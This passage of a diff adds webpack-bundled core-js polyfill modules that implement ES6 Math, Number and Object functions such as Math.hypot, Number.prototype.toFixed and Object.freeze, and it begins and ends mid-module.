Math.expm1(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $expm1 = __webpack_require__(/*! ./_math-expm1 */ "./node_modules/core-js/modules/_math-expm1.js"); + +$export($export.S + $export.F * ($expm1 != Math.expm1), 'Math', { expm1: $expm1 }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.fround.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.fround.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.16 Math.fround(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Math', { fround: __webpack_require__(/*! ./_math-fround */ "./node_modules/core-js/modules/_math-fround.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.hypot.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.hypot.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.17 Math.hypot([value1[, value2[, … ]]]) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var abs = Math.abs; + +$export($export.S, 'Math', { + hypot: function hypot(value1, value2) { // eslint-disable-line no-unused-vars + var sum = 0; + var i = 0; + var aLen = arguments.length; + var larg = 0; + var arg, div; + while (i < aLen) { + arg = abs(arguments[i++]); + if (larg < arg) { + div = larg / arg; + sum = sum * div * div + 1; + larg = arg; + } else if (arg > 0) { + div = arg / larg; + sum += div * div; + } else sum += arg; + } + return larg === Infinity ? Infinity : larg * Math.sqrt(sum); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.imul.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.imul.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.18 Math.imul(x, y) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $imul = Math.imul; + +// some WebKit versions fails with big numbers, some has wrong arity +$export($export.S + $export.F * __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + return $imul(0xffffffff, 5) != -5 || $imul.length != 2; +}), 'Math', { + imul: function imul(x, y) { + var UINT16 = 0xffff; + var xn = +x; + var yn = +y; + var xl = UINT16 & xn; + var yl = UINT16 & yn; + return 0 | xl * yl + ((UINT16 & xn >>> 16) * yl + xl * (UINT16 & yn >>> 16) << 16 >>> 0); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.log10.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.log10.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.21 Math.log10(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Math', { + log10: function log10(x) { + return Math.log(x) * Math.LOG10E; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.log1p.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.log1p.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.20 Math.log1p(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Math', { log1p: __webpack_require__(/*! ./_math-log1p */ "./node_modules/core-js/modules/_math-log1p.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.log2.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.log2.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.22 Math.log2(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Math', { + log2: function log2(x) { + return Math.log(x) / Math.LN2; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.sign.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.sign.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.28 Math.sign(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Math', { sign: __webpack_require__(/*! ./_math-sign */ "./node_modules/core-js/modules/_math-sign.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.sinh.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.sinh.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.30 Math.sinh(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var expm1 = __webpack_require__(/*! ./_math-expm1 */ "./node_modules/core-js/modules/_math-expm1.js"); +var exp = Math.exp; + +// V8 near Chromium 38 has a problem with very small numbers +$export($export.S + $export.F * __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + return !Math.sinh(-2e-17) != -2e-17; +}), 'Math', { + sinh: function sinh(x) { + return Math.abs(x = +x) < 1 + ? (expm1(x) - expm1(-x)) / 2 + : (exp(x - 1) - exp(-x - 1)) * (Math.E / 2); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.tanh.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.tanh.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.33 Math.tanh(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var expm1 = __webpack_require__(/*! ./_math-expm1 */ "./node_modules/core-js/modules/_math-expm1.js"); +var exp = Math.exp; + +$export($export.S, 'Math', { + tanh: function tanh(x) { + var a = expm1(x = +x); + var b = expm1(-x); + return a == Infinity ? 1 : b == Infinity ? -1 : (a - b) / (exp(x) + exp(-x)); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.math.trunc.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.math.trunc.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.2.2.34 Math.trunc(x) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Math', { + trunc: function trunc(it) { + return (it > 0 ? Math.floor : Math.ceil)(it); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.constructor.js": +/*!****************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.constructor.js ***! + \****************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var cof = __webpack_require__(/*! ./_cof */ "./node_modules/core-js/modules/_cof.js"); +var inheritIfRequired = __webpack_require__(/*! ./_inherit-if-required */ "./node_modules/core-js/modules/_inherit-if-required.js"); +var toPrimitive = __webpack_require__(/*! ./_to-primitive */ "./node_modules/core-js/modules/_to-primitive.js"); +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var gOPN = __webpack_require__(/*! ./_object-gopn */ "./node_modules/core-js/modules/_object-gopn.js").f; +var gOPD = __webpack_require__(/*! ./_object-gopd */ "./node_modules/core-js/modules/_object-gopd.js").f; +var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f; +var $trim = __webpack_require__(/*! ./_string-trim */ "./node_modules/core-js/modules/_string-trim.js").trim; +var NUMBER = 'Number'; +var $Number = global[NUMBER]; +var Base = $Number; +var proto = $Number.prototype; +// Opera ~12 has broken Object#toString +var BROKEN_COF = cof(__webpack_require__(/*! ./_object-create */ "./node_modules/core-js/modules/_object-create.js")(proto)) == NUMBER; +var TRIM = 'trim' in String.prototype; + +// 7.1.3 ToNumber(argument) +var toNumber = function (argument) { + var it = toPrimitive(argument, false); + if (typeof it == 'string' && it.length > 2) { + it = TRIM ? it.trim() : $trim(it, 3); + var first = it.charCodeAt(0); + var third, radix, maxCode; + if (first === 43 || first === 45) { + third = it.charCodeAt(2); + if (third === 88 || third === 120) return NaN; // Number('+0x1') should be NaN, old V8 fix + } else if (first === 48) { + switch (it.charCodeAt(1)) { + case 66: case 98: radix = 2; maxCode = 49; break; // fast equal /^0b[01]+$/i + case 79: case 111: radix = 8; maxCode = 55; break; // fast equal /^0o[0-7]+$/i + default: return +it; + } + for (var digits = it.slice(2), i = 0, l = digits.length, code; i < l; i++) { + code = digits.charCodeAt(i); + // parseInt parses a string to a first unavailable symbol + // but ToNumber should return NaN if a string contains unavailable symbols + if (code < 48 || code > maxCode) return NaN; + } return parseInt(digits, radix); + } + } return +it; +}; + +if (!$Number(' 0o1') || !$Number('0b1') || $Number('+0x1')) { + $Number = function Number(value) { + var it = arguments.length < 1 ? 0 : value; + var that = this; + return that instanceof $Number + // check on 1..constructor(foo) case + && (BROKEN_COF ? fails(function () { proto.valueOf.call(that); }) : cof(that) != NUMBER) + ? inheritIfRequired(new Base(toNumber(it)), that, $Number) : toNumber(it); + }; + for (var keys = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") ? gOPN(Base) : ( + // ES3: + 'MAX_VALUE,MIN_VALUE,NaN,NEGATIVE_INFINITY,POSITIVE_INFINITY,' + + // ES6 (in case, if modules with ES6 Number statics required before): + 'EPSILON,isFinite,isInteger,isNaN,isSafeInteger,MAX_SAFE_INTEGER,' + + 'MIN_SAFE_INTEGER,parseFloat,parseInt,isInteger' + ).split(','), j = 0, key; keys.length > j; j++) { + if (has(Base, key = keys[j]) && !has($Number, key)) { + dP($Number, key, gOPD(Base, key)); + } + } + $Number.prototype = proto; + proto.constructor = $Number; + __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js")(global, NUMBER, $Number); +} + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.epsilon.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.epsilon.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.1.2.1 Number.EPSILON +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Number', { EPSILON: Math.pow(2, -52) }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.is-finite.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.is-finite.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.1.2.2 Number.isFinite(number) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var _isFinite = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").isFinite; + +$export($export.S, 'Number', { + isFinite: function isFinite(it) { + return typeof it == 'number' && _isFinite(it); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.is-integer.js": +/*!***************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.is-integer.js ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.1.2.3 Number.isInteger(number) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Number', { isInteger: __webpack_require__(/*! ./_is-integer */ "./node_modules/core-js/modules/_is-integer.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.is-nan.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.is-nan.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.1.2.4 Number.isNaN(number) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Number', { + isNaN: function isNaN(number) { + // eslint-disable-next-line no-self-compare + return number != number; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.is-safe-integer.js": +/*!********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.is-safe-integer.js ***! + \********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.1.2.5 Number.isSafeInteger(number) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var isInteger = __webpack_require__(/*! ./_is-integer */ "./node_modules/core-js/modules/_is-integer.js"); +var abs = Math.abs; + +$export($export.S, 'Number', { + isSafeInteger: function isSafeInteger(number) { + return isInteger(number) && abs(number) <= 0x1fffffffffffff; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.max-safe-integer.js": +/*!*********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.max-safe-integer.js ***! + \*********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.1.2.6 Number.MAX_SAFE_INTEGER +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Number', { MAX_SAFE_INTEGER: 0x1fffffffffffff }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.min-safe-integer.js": +/*!*********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.min-safe-integer.js ***! + \*********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 20.1.2.10 Number.MIN_SAFE_INTEGER +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Number', { MIN_SAFE_INTEGER: -0x1fffffffffffff }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.parse-float.js": +/*!****************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.parse-float.js ***! + \****************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $parseFloat = __webpack_require__(/*! ./_parse-float */ "./node_modules/core-js/modules/_parse-float.js"); +// 20.1.2.12 Number.parseFloat(string) +$export($export.S + $export.F * (Number.parseFloat != $parseFloat), 'Number', { parseFloat: $parseFloat }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.parse-int.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.parse-int.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $parseInt = __webpack_require__(/*! ./_parse-int */ "./node_modules/core-js/modules/_parse-int.js"); +// 20.1.2.13 Number.parseInt(string, radix) +$export($export.S + $export.F * (Number.parseInt != $parseInt), 'Number', { parseInt: $parseInt }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.to-fixed.js": +/*!*************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.to-fixed.js ***! + \*************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toInteger = __webpack_require__(/*! ./_to-integer */ "./node_modules/core-js/modules/_to-integer.js"); +var aNumberValue = __webpack_require__(/*! ./_a-number-value */ "./node_modules/core-js/modules/_a-number-value.js"); +var repeat = __webpack_require__(/*! ./_string-repeat */ "./node_modules/core-js/modules/_string-repeat.js"); +var $toFixed = 1.0.toFixed; +var floor = Math.floor; +var data = [0, 0, 0, 0, 0, 0]; +var ERROR = 'Number.toFixed: incorrect invocation!'; +var ZERO = '0'; + +var multiply = function (n, c) { + var i = -1; + var c2 = c; + while (++i < 6) { + c2 += n * data[i]; + data[i] = c2 % 1e7; + c2 = floor(c2 / 1e7); + } +}; +var divide = function (n) { + var i = 6; + var c = 0; + while (--i >= 0) { + c += data[i]; + data[i] = floor(c / n); + c = (c % n) * 1e7; + } +}; +var numToString = function () { + var i = 6; + var s = ''; + while (--i >= 0) { + if (s !== '' || i === 0 || data[i] !== 0) { + var t = String(data[i]); + s = s === '' ? t : s + repeat.call(ZERO, 7 - t.length) + t; + } + } return s; +}; +var pow = function (x, n, acc) { + return n === 0 ? acc : n % 2 === 1 ? pow(x, n - 1, acc * x) : pow(x * x, n / 2, acc); +}; +var log = function (x) { + var n = 0; + var x2 = x; + while (x2 >= 4096) { + n += 12; + x2 /= 4096; + } + while (x2 >= 2) { + n += 1; + x2 /= 2; + } return n; +}; + +$export($export.P + $export.F * (!!$toFixed && ( + 0.00008.toFixed(3) !== '0.000' || + 0.9.toFixed(0) !== '1' || + 1.255.toFixed(2) !== '1.25' || + 1000000000000000128.0.toFixed(0) !== '1000000000000000128' +) || !__webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + // V8 ~ Android 4.3- + $toFixed.call({}); +})), 'Number', { + toFixed: function toFixed(fractionDigits) { + var x = aNumberValue(this, ERROR); + var f = toInteger(fractionDigits); + var s = ''; + var m = ZERO; + var e, z, j, k; + if (f < 0 || f > 20) throw RangeError(ERROR); + // eslint-disable-next-line no-self-compare + if (x != x) return 'NaN'; + if (x <= -1e21 || x >= 1e21) return String(x); + if (x < 0) { + s = '-'; + x = -x; + } + if (x > 1e-21) { + e = log(x * pow(2, 69, 1)) - 69; + z = e < 0 ? x * pow(2, -e, 1) : x / pow(2, e, 1); + z *= 0x10000000000000; + e = 52 - e; + if (e > 0) { + multiply(0, z); + j = f; + while (j >= 7) { + multiply(1e7, 0); + j -= 7; + } + multiply(pow(10, j, 1), 0); + j = e - 1; + while (j >= 23) { + divide(1 << 23); + j -= 23; + } + divide(1 << j); + multiply(1, 1); + divide(2); + m = numToString(); + } else { + multiply(0, z); + multiply(1 << -e, 0); + m = numToString() + repeat.call(ZERO, f); + } + } + if (f > 0) { + k = m.length; + m = s + (k <= f ? '0.' + repeat.call(ZERO, f - k) + m : m.slice(0, k - f) + '.' + m.slice(k - f)); + } else { + m = s + m; + } return m; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.number.to-precision.js": +/*!*****************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.number.to-precision.js ***! + \*****************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var aNumberValue = __webpack_require__(/*! ./_a-number-value */ "./node_modules/core-js/modules/_a-number-value.js"); +var $toPrecision = 1.0.toPrecision; + +$export($export.P + $export.F * ($fails(function () { + // IE7- + return $toPrecision.call(1, undefined) !== '1'; +}) || !$fails(function () { + // V8 ~ Android 4.3- + $toPrecision.call({}); +})), 'Number', { + toPrecision: function toPrecision(precision) { + var that = aNumberValue(this, 'Number#toPrecision: incorrect invocation!'); + return precision === undefined ? $toPrecision.call(that) : $toPrecision.call(that, precision); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.assign.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.assign.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.3.1 Object.assign(target, source) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S + $export.F, 'Object', { assign: __webpack_require__(/*! ./_object-assign */ "./node_modules/core-js/modules/_object-assign.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.create.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.create.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +// 19.1.2.2 / 15.2.3.5 Object.create(O [, Properties]) +$export($export.S, 'Object', { create: __webpack_require__(/*! ./_object-create */ "./node_modules/core-js/modules/_object-create.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.define-properties.js": +/*!**********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.define-properties.js ***! + \**********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +// 19.1.2.3 / 15.2.3.7 Object.defineProperties(O, Properties) +$export($export.S + $export.F * !__webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js"), 'Object', { defineProperties: __webpack_require__(/*! ./_object-dps */ "./node_modules/core-js/modules/_object-dps.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.define-property.js": +/*!********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.define-property.js ***! + \********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +// 19.1.2.4 / 15.2.3.6 Object.defineProperty(O, P, Attributes) +$export($export.S + $export.F * !__webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js"), 'Object', { defineProperty: __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.freeze.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.freeze.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.5 Object.freeze(O) +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var meta = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js").onFreeze; + +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('freeze', function ($freeze) { + return function freeze(it) { + return $freeze && isObject(it) ? $freeze(meta(it)) : it; + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.get-own-property-descriptor.js": +/*!********************************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.get-own-property-descriptor.js ***! + \********************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.6 Object.getOwnPropertyDescriptor(O, P) +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); +var $getOwnPropertyDescriptor = __webpack_require__(/*! ./_object-gopd */ "./node_modules/core-js/modules/_object-gopd.js").f; + +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('getOwnPropertyDescriptor', function () { + return function getOwnPropertyDescriptor(it, key) { + return $getOwnPropertyDescriptor(toIObject(it), key); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.get-own-property-names.js": +/*!***************************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.get-own-property-names.js ***! + \***************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.7 Object.getOwnPropertyNames(O) +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('getOwnPropertyNames', function () { + return __webpack_require__(/*! ./_object-gopn-ext */ "./node_modules/core-js/modules/_object-gopn-ext.js").f; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.get-prototype-of.js": +/*!*********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.get-prototype-of.js ***! + \*********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.9 Object.getPrototypeOf(O) +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var $getPrototypeOf = __webpack_require__(/*! ./_object-gpo */ "./node_modules/core-js/modules/_object-gpo.js"); + +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('getPrototypeOf', function () { + return function getPrototypeOf(it) { + return $getPrototypeOf(toObject(it)); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.is-extensible.js": +/*!******************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.is-extensible.js ***! + \******************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.11 Object.isExtensible(O) +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); + +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('isExtensible', function ($isExtensible) { + return function isExtensible(it) { + return isObject(it) ? $isExtensible ? $isExtensible(it) : true : false; + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.is-frozen.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.is-frozen.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.12 Object.isFrozen(O) +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); + +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('isFrozen', function ($isFrozen) { + return function isFrozen(it) { + return isObject(it) ? $isFrozen ? $isFrozen(it) : false : true; + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.is-sealed.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.is-sealed.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.13 Object.isSealed(O) +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); + +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('isSealed', function ($isSealed) { + return function isSealed(it) { + return isObject(it) ? $isSealed ? $isSealed(it) : false : true; + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.is.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.is.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.3.10 Object.is(value1, value2) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +$export($export.S, 'Object', { is: __webpack_require__(/*! ./_same-value */ "./node_modules/core-js/modules/_same-value.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.keys.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.keys.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.14 Object.keys(O) +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var $keys = __webpack_require__(/*! ./_object-keys */ "./node_modules/core-js/modules/_object-keys.js"); + +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('keys', function () { + return function keys(it) { + return $keys(toObject(it)); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.prevent-extensions.js": +/*!***********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.prevent-extensions.js ***! + \***********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.15 Object.preventExtensions(O) +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var meta = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js").onFreeze; + +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('preventExtensions', function ($preventExtensions) { + return function preventExtensions(it) { + return $preventExtensions && isObject(it) ? $preventExtensions(meta(it)) : it; + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.seal.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.seal.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.17 Object.seal(O) +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var meta = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js").onFreeze; + +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('seal', function ($seal) { + return function seal(it) { + return $seal && isObject(it) ? $seal(meta(it)) : it; + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.set-prototype-of.js": +/*!*********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.set-prototype-of.js ***! + \*********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.3.19 Object.setPrototypeOf(O, proto) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +$export($export.S, 'Object', { setPrototypeOf: __webpack_require__(/*! ./_set-proto */ "./node_modules/core-js/modules/_set-proto.js").set }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.to-string.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.to-string.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 19.1.3.6 Object.prototype.toString() +var classof = __webpack_require__(/*! ./_classof */ "./node_modules/core-js/modules/_classof.js"); +var 